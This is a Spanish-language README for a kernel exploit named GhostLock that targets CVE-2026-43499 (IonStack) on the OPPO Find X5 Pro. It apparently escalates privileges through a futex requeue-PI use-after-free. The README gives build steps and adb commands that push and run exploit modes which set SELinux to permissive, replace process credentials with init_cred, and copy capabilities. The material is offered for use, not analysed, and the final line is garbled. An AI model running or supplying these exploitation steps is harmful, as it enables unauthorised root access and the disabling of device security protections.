
# GhostLock (CVE-2026-43499 / IonStack) investigación para OPPO Find X5 Pro (PFEM10): cadena de explotación, progreso, registro de bloqueos y notas del kernel de la serie 5 de OPPO
Exploit de CVE-2026-43499 (IonStack) para OPPO Find X5 Pro (PFEM10).
Kernel 5.10.236-android12-9-o, futex CMP_REQUEUE_PI UAF → primitiva de escritura pi-tree.
Úsalo bajo tu propio riesgo. Espera pánicos / reinicios. No actualices el firmware.
./build.sh # requiere Android NDK r28c
Los parámetros de compilación están fijos (-O1 / android26) — cambiarlos rompe la calibración de la geometría de la pila.
adb push exploit /data/local/tmp/
adb shell /data/local/tmp/exploit W1 # SELinux permisivo
adb shell /data/local/tmp/exploit W2 # cred hijo -> init_cred
adb shell /data/local/tmp/exploit W5 # copia de cred solo-caps
Reintenta entre reinicios: bash run.sh <modo> [intentos]
src/ exploit + payload + offsets (exploit.c, payload.c, pfem10_target.h)
lib/ biblioteca de fuga de heap KernelSnitch
model/ modelo de recorrido de cadena rtmutex (verificación en host)
oplus_root_check, ruta solo-caps en progreso)CyberMeowfia · IonStack (exploit original)